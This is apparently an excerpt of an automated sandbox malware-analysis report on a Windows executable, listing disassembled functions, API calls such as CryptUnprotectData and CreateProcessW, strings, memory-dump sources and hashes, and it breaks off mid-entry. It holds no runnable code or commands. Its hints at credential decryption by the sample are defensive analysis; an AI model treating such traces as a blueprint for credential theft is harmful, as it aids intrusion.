Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\FILHKLtCw0.exe,C:\Users\user\Desktop\FILHKLtCw0.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\FILHKLtCw0.exe,C:\Users\user\Desktop\FILHKLtCw0.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2872673692.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2872653525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872698277.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2872715437.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FILHKLtCw0.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: FILHKLtCw0.exePID: 5852, Parent PID: 2920COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.6%
Total number of Nodes:	234
Total number of Limit Nodes:	15

Executed Functions

Function 00114328 Relevance: 6.4, Strings: 5, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0011452E
Lj@p, xrefs: 00114518
PH]q, xrefs: 00114590
PH]q, xrefs: 001145A1
0o@p, xrefs: 001143AA

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 2f441ac80e110ed556f57d57751fd389ba8f984d6708cbdd77cceebd767a5807
Instruction ID: 6238e6c56c829a09e6dfbb641ac8418f90de59896c66ee26410c74abcef98cfc
Opcode Fuzzy Hash: 2f441ac80e110ed556f57d57751fd389ba8f984d6708cbdd77cceebd767a5807
Instruction Fuzzy Hash: 8E91C274E002188FDB58CFA9D884A9DBBF2BF89300F14C069E819AB365DB349981CF50

Function 00115F90 Relevance: 5.4, Strings: 4, Instructions: 442
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 001161DA
,aq, xrefs: 00116252
(o]q, xrefs: 001161E8
,aq, xrefs: 00116260

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq
API String ID: 0-1947289240
Opcode ID: ec63fcbcda16f115043bfdd26441ae7e02690d9e2b29ef37ad3e11d9868bd296
Instruction ID: d5640df59e191c5e7f267db343246c7fbe558d2b80dfde12e2969ff7776cd905
Opcode Fuzzy Hash: ec63fcbcda16f115043bfdd26441ae7e02690d9e2b29ef37ad3e11d9868bd296
Instruction Fuzzy Hash: F8023F30A00219DFCB18CF69C984AEEBBF6FF98314F558069E815A7265D736DD81CB50

Function 00119048 Relevance: 3.4, Strings: 2, Instructions: 899COMMON

Download Yara Rule

Strings

(o]q, xrefs: 001194D8
4']q, xrefs: 00119AD3

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: (o]q$4']q
API String ID: 0-176817397
Opcode ID: ec214e4f71a6c68700bfe1950b9de839edd413e1e51412aca4a0c13ce46e16fc
Instruction ID: fc773136b49d64765a16e26005a5180b8d5a9e648919925b45ae2414fba6637a
Opcode Fuzzy Hash: ec214e4f71a6c68700bfe1950b9de839edd413e1e51412aca4a0c13ce46e16fc
Instruction Fuzzy Hash: 10825D70A04209DFCB19CF68D9A4AEEBBF2FF88310F158569E4259B261D730ED85CB51

Function 00115968 Relevance: 3.0, Strings: 2, Instructions: 513COMMON

Download Yara Rule

Strings

(o]q, xrefs: 00115EA2
Haq, xrefs: 00115D6E

Memory Dump Source

Source File: 00000004.00000002.3285110613.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: (o]q$Haq
API String ID: 0-903699183
Opcode ID: 9094311902022859c3367c0f8af73ba6a9c7d5cf46e3e975c8fd7ca46c404eea
Instruction ID: 34c20dbddcf34bc213733871c70dabec27f6caf17f4ea6d6e138675bf3727112
Opcode Fuzzy Hash: 9094311902022859c3367c0f8af73ba6a9c7d5cf46e3e975c8fd7ca46c404eea
Instruction Fuzzy Hash: 23128E70A00619CFCB18DF69D854AAEBBF6BFC8300F108569E545DB395EB349D82CB91

Function 3940E870 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

Te]q, xrefs: 3940F225

Memory Dump Source

Source File: 00000004.00000002.3310887101.0000000039400000.00000040.00000800.00020000.00000000.sdmp, Offset: 39400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39400000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 236c17c923d16c4ee2b6bab0a0625b312db7db8c95d643785a7bd929d6303998
Instruction ID: b8eb6b246d3a14846433a296f46d2a7722a518b5d52484ff9e06c1a9e97942bb
Opcode Fuzzy Hash: 236c17c923d16c4ee2b6bab0a0625b312db7db8c95d643785a7bd929d6303998
Instruction Fuzzy Hash: 3E82D274A41228CFDB64DF64C995BADBBB2FF89300F1085A9D80967365CB359E82CF50

Function 38EDBDF0 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

Te]q, xrefs: 38EDC796

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 0392935b8ba254a232491e00a3b4017e1c12f385480fde31e4f684a723a7dbaf
Instruction ID: 6bc04cfa816ff8d8454898d41ad0e67f0b352f9ea8b7d8d5b661cfa543b7461f
Opcode Fuzzy Hash: 0392935b8ba254a232491e00a3b4017e1c12f385480fde31e4f684a723a7dbaf
Instruction Fuzzy Hash: 7172F374A41228CFDB64DF64C955BADBBB2FF89300F1084A9D809A7364CB359E86CF50

Function 3838D9D9 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000EC,?,00000000,?,?,?,?), ref: 3838DA45

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 21a22ab05c44db03777e4b059b0f379a8393364cbb73fbc7b4431c86fa99e530
Instruction ID: 1cd37fb53246c9203fa52407bb403cd6e419f2674343425716bc77a634b7ee5a
Opcode Fuzzy Hash: 21a22ab05c44db03777e4b059b0f379a8393364cbb73fbc7b4431c86fa99e530
Instruction Fuzzy Hash: B61137B6800249DFCB10CF9AC945BEEBFF5EF48320F14841AE958A7210C339A594DFA5

Function 3838D1EC Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000EC,?,00000000,?,?,?,?), ref: 3838DA45

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 145222eb797e9b493c4eedd4a52428a8b6de2886fe40c567eff301bfcae866c4
Instruction ID: 9dc17189fe7f3c5cc15196fe247b21d1b78480b5e0044cfe5416ca6be84aef98
Opcode Fuzzy Hash: 145222eb797e9b493c4eedd4a52428a8b6de2886fe40c567eff301bfcae866c4
Instruction Fuzzy Hash: 6A1114B6800249DFDB10DF99C945BEEBBF4EB48320F14841AE618A7210C779A994DFA5

Function 38EDA360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^98, xrefs: 38EDA640

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0^98
API String ID: 0-2446004515
Opcode ID: 58519380f0d4e02cac1a0cd23d105843448fc05ffac3262dbebac199ff94f9ee
Instruction ID: 6042531179c03e21ab3c822b0dadbf7acc9a679867406485b5c68090a4c0c3c3
Opcode Fuzzy Hash: 58519380f0d4e02cac1a0cd23d105843448fc05ffac3262dbebac199ff94f9ee
Instruction Fuzzy Hash: DFA190B5E01228CFEB14CF6AC944B9DBBF2AF89300F14C1AAD409B7255DB355A89CF51

Function 38ED9D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^98, xrefs: 38ED9FF0

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0^98
API String ID: 0-2446004515
Opcode ID: 0f4ee1072b6f02124bc802ef49230936faa426225d9cc9d4fba2008c844db066
Instruction ID: 20692f8574fe2f28dc4330d74a2c24daf5ed4af88f1d3a0e205c07624c5133a3
Opcode Fuzzy Hash: 0f4ee1072b6f02124bc802ef49230936faa426225d9cc9d4fba2008c844db066
Instruction Fuzzy Hash: 25A191B5E01228CFEB14DF6AC944B9DBBF2AF89300F14C1AAD408A7255DB745A89CF51

Function 38EDA9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^98, xrefs: 38EDAC8B

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0^98
API String ID: 0-2446004515
Opcode ID: f54eb6a5fdeb89f6a33ca7124c341c8623ea5ab302ecac2c4645dd1c350edaf8
Instruction ID: 15caf10aa73f5f477ace10d3bbbaea16eecd129b0f4ebfc2f53f16cef98faa7e
Opcode Fuzzy Hash: f54eb6a5fdeb89f6a33ca7124c341c8623ea5ab302ecac2c4645dd1c350edaf8
Instruction Fuzzy Hash: 12A191B5E01628CFEB14CF6AC944B9DBBF2AF89300F14C1AAD409B7255DB345A86CF51

Function 38ED96C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^98, xrefs: 38ED99A4

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0^98
API String ID: 0-2446004515
Opcode ID: 46a5b6b50fd3a414eee7e31e14137f7a7fe5bdd6ef6dd41ce8ff8145b4a0e236
Instruction ID: a78e35f61da99ae5a4c9b2d10a08a5e80a77cd49972125c48d0dbe72539eb339
Opcode Fuzzy Hash: 46a5b6b50fd3a414eee7e31e14137f7a7fe5bdd6ef6dd41ce8ff8145b4a0e236
Instruction Fuzzy Hash: 6BA191B5E01228CFEB54DF6AC944B9DBBF2AF89300F14C1AAD408B7255DB345A89CF51

Function 38EDA9A0 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

0^98, xrefs: 38EDAC8B

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0^98
API String ID: 0-2446004515
Opcode ID: 2920d760133d53a8fe9daea76368d4b81072159a220f4e60c7644fb6d0845ee9
Instruction ID: 0ebf379bc65b04734c07312970f4e4e63c96e31846bfeff10d75d5e97583e6b3
Opcode Fuzzy Hash: 2920d760133d53a8fe9daea76368d4b81072159a220f4e60c7644fb6d0845ee9
Instruction Fuzzy Hash: D0819475E01658CFEB28CF6AC944B9DBBF2AF89200F14C1EAD40DA7255DB344A86CF51

Function 38ED96B8 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

0^98, xrefs: 38ED99A4

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID: 0^98
API String ID: 0-2446004515
Opcode ID: d1fbbcba386748ba0f7c531b1acdf034e6c7868b18ddcf4969476dec204492b8
Instruction ID: 8de859d4606fe6fbe5257845c03e5353a8b816e252f45d0ef4135156dd1c6f5b
Opcode Fuzzy Hash: d1fbbcba386748ba0f7c531b1acdf034e6c7868b18ddcf4969476dec204492b8
Instruction Fuzzy Hash: D77195B5E01618CFEB58CF6AC944B9DBBF2AF89300F14C1AAD40CA7255DB345A85CF51

Function 38ED8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a5b44cdf0849f28a7165dc5ff2bcbfaefcd6cff70f25d18df212d33779a5df
Instruction ID: 5cd645394510cfe5b091d79cb65a88faf38dff5b6e694e0df5e5f744dd155e1b
Opcode Fuzzy Hash: 04a5b44cdf0849f28a7165dc5ff2bcbfaefcd6cff70f25d18df212d33779a5df
Instruction Fuzzy Hash: 7D72BE75E01228CFDB64DF69C980BD9BBB2BB49305F5095E9D408A7361DB349E8ACF40

Function 3838C638 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76e58b9082df69097777a7dd730f354dd801fe1a6039f8ae1d7868ad754b4c1e
Instruction ID: bfba9c15ca1c3b91d49496fb5a76feefe4646e10e768da1ec450e42f64a361cd
Opcode Fuzzy Hash: 76e58b9082df69097777a7dd730f354dd801fe1a6039f8ae1d7868ad754b4c1e
Instruction Fuzzy Hash: 7DE1CF74E01218CFEB54DFA5C994B9DBBB2BF89300F2081A9D809B7391DB755A86CF11

Function 383803B0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 474b6f7f20032bd50e730b019360d0c2d5e1933ac51f7ffa06a74b224ac3928f
Instruction ID: 987d5f33a188d1512da2962f48ad1914614e6450711bca628e5b4478aa2dc8c7
Opcode Fuzzy Hash: 474b6f7f20032bd50e730b019360d0c2d5e1933ac51f7ffa06a74b224ac3928f
Instruction Fuzzy Hash: 30D1BD74E01318CFDB54DFA5D994B9DBBB2BF89300F2081A9D809AB365DB359A85CF10

Function 38380C1A Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4dff302e7870801211b75b8f38796326a65844c1f5f2f077ee673aa44476de3
Instruction ID: da95dd518b0c9dacfd783c4cfec5d2c916e3f55b9614f28f383bec89e55811a2
Opcode Fuzzy Hash: c4dff302e7870801211b75b8f38796326a65844c1f5f2f077ee673aa44476de3
Instruction Fuzzy Hash: 2AA1E374D002088FDB14DFA9C994BDDBBB1FF89304F209269E408AB3A1DB749A85CF55

Function 38380C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1eed6793a569b8f9310875ee720c61d5d0716d93ee9c14cc54ecec5c5774a49
Instruction ID: adf47fd6ba27e26dc75581bdc873300ef0ab2aa2b26935409751e3d1868f731f
Opcode Fuzzy Hash: f1eed6793a569b8f9310875ee720c61d5d0716d93ee9c14cc54ecec5c5774a49
Instruction Fuzzy Hash: 5AA1E374D002088FDB14DFA9D994BDDBBB1FF88314F209269E408AB3A1DB749A85CF55

Function 38380F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310253673.0000000038380000.00000040.00000800.00020000.00000000.sdmp, Offset: 38380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38380000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c589e849b2119adaade6dda7c54f3af1ea1cd99595c0dc67f4c1e31e81d4403c
Instruction ID: cc34e3f398638118a14eb27c9f3df1ba7510eec1b733b95af24fdccf7e69e4c5
Opcode Fuzzy Hash: c589e849b2119adaade6dda7c54f3af1ea1cd99595c0dc67f4c1e31e81d4403c
Instruction Fuzzy Hash: 9B91E074900208CFEB10DFA8D994BDDBBB1BF49315F209269E409AB3A1DB749A85CF14

Function 38EDBA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6963b3d88cd8b383caeef550d445a56112a1539f9f6bbfbbfd568c8fda424794
Instruction ID: 12a8b158ffca2a28ffe1a3cea8a3340ff0bbfad31f6d7bdfacb9ce8bcfaddc4b
Opcode Fuzzy Hash: 6963b3d88cd8b383caeef550d445a56112a1539f9f6bbfbbfd568c8fda424794
Instruction Fuzzy Hash: 7E81E375E01608CFDB14DFA9C9906DDBBF2BF88300F64C529D814AB399EB35994ACB50

Function 38EDBA8E Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3310703083.0000000038ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ed0000_FILHKLtCw0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a8b104d5277f8f15ce2fd357735c68ace9273f380a3e9baf0793a3b69954d97
Instruction ID: 76cb7694a7a53334ad2819467f15f80f43dc02736aeff9f0d219a8025c044679
Opcode Fuzzy Hash: 8a8b104d5277f8f15ce2fd357735c68ace9273f380a3e9baf0793a3b69954d97
